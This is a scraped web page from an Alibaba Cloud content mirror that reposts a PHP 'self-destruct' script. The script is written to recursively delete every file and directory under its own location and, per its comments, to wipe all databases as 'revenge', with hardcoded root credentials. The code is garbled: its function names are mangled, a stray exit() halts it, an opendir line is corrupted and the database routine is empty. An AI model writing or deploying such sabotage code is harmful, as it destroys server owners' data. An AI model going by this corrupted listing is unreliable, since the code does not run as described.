PHP Self-Destruct program

Source: Internet
Author: User

<?php
// +----------------------------------------------------------------------
// | kill!!
//| The program will erase all files and directories in this directory
//| If you set up database information, try to delete all database and table data (provided you have enough permissions!). )
// +----------------------------------------------------------------------
// | Version: $Id $
// +----------------------------------------------------------------------

//----------The database configuration area-----------------
//The power of revenge is very scary, so no need to specify the database, all deleted!
Define'Db_user','Root');
Define'db_pwd','Root');
Define'Db_host','localhost');
Define'Db_port','3216');
Define'Db_damage',true);//when false, do not touch the database

Run ();

/**
* Subject thought must be glorious and great!
*
* @return void
**/
function Run ()
{
//Deleting Files
Deletedir ();
//Deleting a database
Deletedb ();
}

/**
* hehe, delete all files in current directory (recursive)
*
* @return void
**/
function Deletedir ($dir ="'){
if($dir = ="') {
$dir = Realpath ('.');
}
Echo $dir;
Exit ();
if([email protected] ($dir)) {//detects whether the directory to open exists
Die"no such directory");
}
while(false!== ($file =readdir ($handle))) {
if($file!=="."&& $file!==".."){//exclude current directory from parent directory
$file = $dir. Directory_separator. $file;
if(Is_dir ($file)) {
Deletedir ($file);
}Else{
if(@unlink ($file)) {
Echo"file <b> $file </b> Delete succeeded. <br>";
}Else{
Echo"file <b> $file </b> Delete failed!<br>";
}
}
}
if(@rmdir ($dir)) {
Echo"Catalog <b> $dir </b> Delete succeeded. <br>\n";
}Else{
Echo"Catalog <b> $dir </b> Delete failed! <br>\n";
}
}

/**
* Hehe, delete the database
*
* @return void
**/
function Deletedb ()
{
if(Db_damage = = =true){
//Start
}
}

PHP Self-Destruct program

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.